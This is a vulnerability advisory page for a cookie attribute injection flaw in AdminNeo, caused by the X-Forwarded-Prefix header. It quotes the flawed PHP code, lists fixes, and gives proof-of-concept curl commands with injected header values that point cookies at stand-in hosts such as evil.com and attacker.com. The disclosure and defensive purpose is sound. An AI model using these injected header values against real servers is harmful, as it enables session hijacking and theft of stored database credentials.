Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-79wv-8rh2-9vp2

HighCVSS 8.2 / 10
Published Oct 30, 2026·Last modified Oct 30, 2026
Affected Components(1)
Packagist logoadminneo-org/adminneo
4.6.0 – 5.5.1
Description

Summary

AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the X-Forwarded-Prefix HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including Domain, Path, Secure, and SameSite into all Set-Cookie response headers emitted by AdminNeo.

This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., Domain=.evil.com), causing the victim's browser to send AdminNeo's neo_sid (session ID) and neo_key (database password encryption key) cookies to the attacker's server on subsequent requests.

Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h

Vulnerable Code

Root cause 1 - Unsanitized header prepended to REQUEST_URI (admin/include/bootstrap.inc.php, lines 50–52):

if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
	$_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"];
}

The client-supplied X-Forwarded-Prefix header is concatenated into REQUEST_URI with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).

Root cause 2 - Manual Set-Cookie header construction without escaping (admin/include/functions.inc.php, lines 416–424):

function cookie(string $name, string $value, int $lifetime = 2592000): void
{
	header("Set-Cookie: $name=" . rawurlencode($value)
		. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
		. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
		. (HTTPS ? "; secure" : "")
		. "; HttpOnly; SameSite=lax",
		false);
}

The tainted REQUEST_URI is interpolated directly into the path= attribute of the Set-Cookie header. Since semicolons are not stripped or escaped, any ;-separated directives injected via X-Forwarded-Prefix become valid cookie attributes parsed by the browser.

Root cause 3 - Session cookie also tainted (admin/include/bootstrap.inc.php, line 61):

session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true);

The PHP session cookie (neo_sid) path is similarly derived from the tainted REQUEST_URI, extending the same vulnerability to the session cookie set by PHP itself.

Impact

  • Session hijacking: The neo_sid session cookie is sent to the attacker's domain, allowing full session takeover.
  • Credential theft: The neo_key cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.
  • Session fixation: An attacker can inject arbitrary Path, SameSite, and Secure attributes, manipulating cookie behavior.
  • Wide applicability: The X-Forwarded-Prefix header was specifically added to support reverse proxy deployments (Traefik PathPrefixStrip, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.

Affected Cookies

|Cookie|Content|Risk| |neo_sid|PHP session ID|Session hijacking| |neo_key|Encryption key for stored DB passwords|Credential theft| |neo_settings|User preferences|Low (information disclosure)|

Proof of Concept

# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax

# Malicious request — inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com" \
  http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax
#                                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED

# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \
  http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...

Recommended Fix

  1. Sanitize X-Forwarded-Prefix: Strip or reject semicolons, newlines, and other HTTP header metacharacters from the X-Forwarded-Prefix value before using it.
  2. Use setcookie() / setrawcookie(): Replace the manual header("Set-Cookie: ...") construction in cookie() with PHP's built-in setcookie() function, which properly escapes attribute values.
  3. Validate REQUEST_URI before cookie use: After any prefix manipulation, strip characters that are invalid in a cookie path attribute (;, ,, whitespace per RFC 6265).
// Example fix for bootstrap.inc.php:
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
    $prefix = preg_replace('~[;\r\n].*~', '', $_SERVER["HTTP_X_FORWARDED_PREFIX"]);
    $_SERVER["REQUEST_URI"] = $prefix . $_SERVER["REQUEST_URI"];
}

Server Based Workaround Via Config

Configure the reverse proxy to set X-Forwarded-Prefix to a static, trusted value rather than forwarding the client-supplied header:

# nginx — secure configuration:
fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo;  # static value, not $http_x_forwarded_prefix
# Traefik, use middleware instead of client headers:
middlewares:
  strip-prefix:
    stripPrefix:
      prefixes:
        - "/adminneo"
Upload your SBOM

Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.

Risk Scores
Base Score
8.2

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence
7.5

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Related Vulnerabilities
  • CVE-2026-96631
    Alias

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard